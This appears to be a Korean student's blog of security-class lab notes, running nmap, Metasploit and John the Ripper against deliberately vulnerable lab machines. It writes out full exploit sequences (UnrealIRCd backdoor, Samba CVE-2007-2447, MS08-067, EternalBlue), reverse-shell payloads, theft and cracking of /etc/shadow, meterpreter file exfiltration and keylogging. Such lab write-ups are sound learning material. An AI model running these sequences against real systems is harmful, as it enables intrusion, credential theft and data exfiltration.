공부/시스템,네트워크 보안

9월 21일 시스템/네트워크 보안 5

마준123 2022. 9. 21. 17:57

 * 지난 시간의 복습!

 

 * 취약점 분석 및 진단

 

 1단계 ) 포트스캐닝

 = 열린 포트를 확인 : 어떤 서비스가 실행중인가 파악 ( 관리자가 실행하지 않은 서비스 ( 백도어, 트로이목마 )가 실행중이라면 매우 위험 )

 = 오래되어서 취약한 서비스 확인 : 버전확인

 = 종류 : IP스캔, TCP스캔(Open 스캔 ), SYN스캔(Half-Open스캔), UDP스캔, X-mas/Fin/Null, OS, Version, All scan 등등

 

 2단계 ) 취약점에 대한 조사

 = 구글

 = 취약점 제보 사이트 : http://www.exploit-db.com ( Offensive Security 에서 운영 )

 = 취약점 전문 사이트     ex ) Rapid7 : Metasploit를 판매하는 회사

 = 취약점 공식 웹사이트는       http://www.cve.mitre.org 

 

 3단계 ) 스크립트를 활용한 상세 스캐닝

 = Kali Linux에 있는 nmap 스크립트를 활용

$ cd /usr/share/nmap/scripts

$ sudo find . -name "*취약점*"                //어떤 스크립트를 사용할 것인지 찾아봄

$ sudo nmap --script=[스크립트 이름] x.x.x.x -p[포트번호]

             ----> VULNERABLE! 라고 나오면 -----> 진짜 취약함!

 

 4단계 ) Metasploit를 이용해서 Exploit를 해보는 단계 ( White hat의 경우 보통 4단계는 진행하지 않음, 퍼포먼스용 )

$ sudo msfconsole

msf6> search [취약점]

msf6> use [공격모듈]                          // 공격 모듈 장착

msf6> info                                           // 장착한 모듈에 대한 설명을 볼 수 있음

msf6> set rhosts [타겟 호스트]

msf6> set lhost                                   // Reverse Connection (트로이목마) 등을 사용하는 페이로드인 경우

msf6> show payloads                        // 어떤 페이로드를 사용할 수 있는지 목록 확인

msf6> set payload [페이로드]            // 페이로드 설정

msf6> show options                           // 지금까지 설정한 내용이 올바른지 확인

msf6> exploit                                     // 공격 시작!!

 

실습 ) Kali 와 Metasploitable2 를 부팅

 1단계~4단계 까지 수행하면서, 6667번 포트의 취약점에 대해 진단하고 Exploit 까지 해보세요~

 

 * Payload 선택시 참고

 = 공격 모듈에 기본 장착되엉 ㅣㅆ으면 별도로 설정 안해도 됨

 = Rapid7에서 인수할 때, Perl script를 Rudy로 재 구조화 하였음 ---> Ruby로 만든 스크립트가 더 잘 동작함

 = 이것 저것 해봤는데 딱히 마땅치 않을 경우, cmd/unix/generic 을 고르면 무난하게 동작함

 

실습 )

 

$ sudo nmap -sV 192.168.5.132

6667의 버전은 irc UnrealIRCd 였다 

all serach로 더 자세하게 알아본 irc 버전

 

irc를 구글에 검색해보자

https://namu.wiki/w/IRC 꺼무위키 기준 인터넷 릴레이 채팅 시스템인거같다.

 

$ sudo find . -name "*irc*"
$ sudo nmap --script=irc-unrealircd-backdoor.nse 192.168.5.132 -p6667

 

 

msf6 > search irc

해서 서치한 결과는 아래와 같은데

25개나 나와서 당황했지만 아마 18번 저거인거 같다.

 

순서대로 해서 4단계 까지 진행한 모습

1 = payloads 중 안되는 것을 사용해서 막힌 모습

2 = 다른 페이로드로 교체

3 = show options ( 교체 확인 )

4 = exploit ( 공격 시작 )

5 = 성공한 모습.

 

강사님은 이렇게 하셨는데 3단계에서 스크립트 실행하기를 하였을때 Looks like trojaned 이라는 말이 써있는데 즉 리버스방식 이라는 뜻이고 그래서 페이로드를 리버스 들어간걸 사용하셨다.

리버스가 들어갔으니 lhost도 해줘야한다.

 

그런데 난 bind가 들어간걸 사용했는데도 공격이 되긴 하였다... ( 아마 방화벽이 없는듯 )

 

 

-------------------------------------------------------------------------------------------------------------------------------------------------------

 

 

실습 ) Samba 취약점 찾아보기

 = SMB ( Server Message Block ) Windows에서 Windows 간에 파일 및 폴더를 공유하는 프로토콜

 = SMB Linux에서도 활용하기 위해서 만든 프로토콜이 SaMBa임

 =  Winodws 계정을 Linux 계정과 일치를 시키면 권한을 부여하면 파일을 리눅스에 백업하거나 복사 기능 등이 가능 ( 부서 공유 서버로 활용 )

 = 공격자들이 경유 서버로 활용 할 가능성이 있음

 

1단계 ) 스캐닝

 ----> 445번 포트에서 SAMBA 버전 3.0.20을 사용하고 있음

 

2단계 ) 검색  ( 구글에 samba 3.0.20 exploit 이런식으로 검색 )

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)

공식 취약점 번호 : CVE-2007-2447

 

3단계 )  상세 스캐닝

------> samba 나 2447 등을검색해도 스크립트가 안나온다    $ sudo find . -name "*samba*"

-------> 3단계가 없으므로 4단게를 해야됨

 

4단계 ) Exploit

search samba          //25개나옴 ( 있긴있는데 너무 많아서 찾기 힘듬 )

search cve-2007-2447  //1개나옴 ( 바로찾음 , 취약점 번호로 검색하면 잘나온다 )

 

msf6 > use exploit/multi/samba/usermap_script

msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.5.132

msf6 exploit(multi/samba/usermap_script) > show options        // payload 확인 ( 이미 장착 되어있음 )

msf6 exploit(multi/samba/usermap_script) > set lhost 192.168.5.129     // payload가 reverse라서 l 호스트도 해줘본다

 

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.5.129:4444 
[*] Command shell session 3 opened (192.168.5.129:4444 -> 192.168.5.132:49012) at 2022-09-20 22:41:08 -0400

 

공격성공

 

 

 

 

실습 ) 공격 성공후에 모든 계정을 크래킹하기

 

cat /etc/passwd

root에서부터 블럭 설정을 하는데, 맨 마지막 계정의 sh 까지만 블럭설정을 하고, 오른쪽 마우스 눌러서 Copy Selection 클릭

새탭을 열고 ( File > new tap

$ sudo vi passwd 엔터

  ( Edit > Paste Clipbord 선택 )

 :wq

 

cat /etc/shadow

root에서부터 맨 마지막 계정의 ::: 까지 블럭설정하고, 오른쪽 마우스 눌러서 Copy selection 클릭

새탭으로 와서 

$ sudo vi shadow 엔터

 ( Edit > Paste Clipbord 선택 )

 :wq

 

------> 파일을 가져오기 어렵기 때문에, Meta2의 Passwd와 Shadow를 읽어들여서 내용을 직접 복사해서 Kali에 새파일로 저장함

 

실습 ) John the Ripper 라는 도구를 이용해서 모든 게정에 대한 패스워드를 알아내기

 

$ sudo unshadow passwd shadow > meta2.pass

$ sudo john meta2.pass    

하면 패스워드를 다 찾아준다.

원래 몇개 더 있는데 패스워드가 복잡하면

원래 몇개 더 있는데 패스워드가 복잡하면 패스워드를 찾는데 시간이 좀 더 걸린다.

진행 상황을 알고싶으면 스페이스바를 누르면 보여준다.

 

-----------------------------------------------------------------------------------------------------------------------------

 

 * John the Ripper

 = 패스워드 크래킹 도구

 =  리눅스 : Passwd와 Shadow를 가지고 있으면 패스워드를 크래킹 해줌

 = Windows는 Sam 파일이 있으면 패스워드를 크래킹 해줌 ( sam 파일은 Windows 실행중에는 복사/삭제/열기 불가능 )

 

실습 ) Windows2003의 취약점을 찾아서 Exploit 해보기 : 1단계~3단계 

         (administrator / hp12345 )

 

1단계 ) 스캐닝

$ sudo nmap -A 192.168.5.141

------> Windows 2003, XP 등은 오래된 SMB 버전을 사용하고 있음

SMB가 취약
SMB를 검색

근데 존나많이 나오니까 나온걸로 한번씩 스캐닝 해봐야한다...

 

3 단계 )  (2단계 생략 )

$ sudo nmap --script=smb-vuln-ms08-067.nse 192.168.5.141

 

다른 애들은 VULNERABLE가 안뜬다.

 

$ sudo nmap --script=smb-vuln-* 192.168.5.141        //다 한번에 검색 하는법

 

버너러블 한게 2개 나왔다.

 

$ sudo nmap --script=smb* 192.168.5.141    // SMB에 관한거 걍 다보기

 

 

4단계 ) Exploit

 

search ms08-067

use exploit/windows/smb/ms08_067_netapi

info

set rhosts 192.168.5.141

set payload windows/vncinject/reverse_tcp              //vnc를 주입하면 원격 조종이 된다.

set lhost 192.168.5.129

exploit

 

그런데 무언가 모듈에 문제가 생겨서 원래 있던 payload로 공격 하기로 했다.

 

set payload windows/meterpreter/reverse_tcp               // 다시 원래 payload 로 돌아가자!

 

놀랍게도 이 또한 문제가 생겨서 그만 두기로 하였다. ㅠ

metasploit에 문제가 있는것 같다고 한다.

 

set payload windows/shell/bind_tcp    // 최종 이걸로 했다.

근데 나는 안됐다...

Exploit completed, but no session was created. 이라 뜨면서안됨.

나만 안된건 아닌거같다... 다행...

 

 

--------------------------------------------------------------------------------------------------------------------------------

 

 

 * Windows 7 다운로드

http://ha.do/v9P 

압출풀기

로그인 : john / 윈도12#$

 

 * 악성코드 Stuxnet 에서 사용한 취약점은?

 = 4개의 Zeroday Exploit와 2개의 Oneday Exploit을 이용해서 윈도우를 통해 전파됨

 = 이란에 있는 우라늄 농축시설을 운영하는 Siemens사의 PLC의 동작을 교란시키는 악성코드

 = PLC는 프로그램된 로직 컨트롤러를 이용해서 사람이 할 수 없는 동작을 시킴

 = PLC가 수백번 고장을 일으켜서 시설 파괴될 뻔 함.

https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&seq=16852 

 

 

----------------------------------------------------------------------------------------------------------------------------------

 

실습 ) windows 7 에 있는 취약점을 찾아보세요~~~

 

1단계 ) 스캐닝

$ sudo nmap -sn 192.168.5.129-140

$ ping 192.168.5.13                  //    TTL이 128이면 윈도우임

$ sudo nmap -A 192.168.5.133

   ( Windows7은 Server가 아니라 Desktop 이기 때문에 서비스를 거의 실행하지 않음 )

SMB1과 SMB2가 같이 사용되고 있음 ( SMB1의 취약점을 가지고 있음 )

 

3 단계 ) 스크립트를 이용한 스캐닝

이번엔 아까와 달리 MS17-010에서 취약점이 발견되었다.

 

 

4단계 ) Exploit

search ms17-010

use exploit/windows/smb/ms17_010_eternalblue

set target 1    // 오토라 안해도 되지만 그냥 한번 해본다

set rhost 192.168.5.133

set rhost 192.168.5.129

set payload windows/x64/vncinject/reverse_tcp     // Victim의 화면을 볼 수 있음

set viewonly false                           // 보기만할꺼냐? true 는 보기만 하고 false 하면 원격 조종까지 하겠다.

 

 

exploit

 

exploit에 성공한 모습

개소름돋는다... 남의 컴퓨터를 내 컴퓨터처럼 아주 갖고 놀수있다....

 

----------------------------------------------------------------------------------------------------------------------------------------

 

set payload windows/x64/meterpreter/reverse_tcp   // 이걸로 페이로드를 바꾸라고 하시는데 뭔지는 현재 나도 모르겠다.

exploit

 

하면 연결 성공

meterpreter > screenshot  // 스크린 샷이 찍힌다.

스크린샷이 저장된 모습

 

 * 참고 : ?를 치면 명령어 도움말을 볼 수 있음

 

 

 

 * 파일 업로드

mkdir c:/game                            // game 이라는 디렉토리 생성

upload /usr/share/windows-binaries/nc.exe c:/game                           //파일 업로드

업로드에 성공하였다.

 

 

 

 * 파일 다운로드

download c:/users/john/documents/*.* /home/kali                            //해당경로의 모든파일(*.*)을 home/kali로 옮기라는 뜻

download c:/users/john/documents/*.pdf /home/kali                     //해당경로의 모든 pdf 다 긁어와라~

 

 

 

cf. meterpreter 라는 도구는 리눅스와 유사한 명령어로 윈도우를 원격 조종할 수 있음

 

 

 

 5 ) 키로킹 ( 키 입력값 알아내기 )

ps                    // 윈도우의 프로세스 목록을 볼 수 있음

그중 Explorer.exe 프로세스의 맨 앞 번호를 기억 : Process ID : 1752

meterpreter 프로세스를 Explorer.exe 아래로 들어갈 예정   // 하위 프로세스로 들어간다는 의미

migrate 1752      입력 후 엔터

keysacn_start     입력 후 엔터

 

이 상태에서 빅팀의 컴퓨터에서 로그인 해본다.

 

그리고 다시 칼리에서keyscan_dump 입력

아이디 비밀번호를 입력할때 키로그가 나온 모습

 

keyscan_stop 으로 끝낼 수 있다.

 

exit         // meterpreter 종료!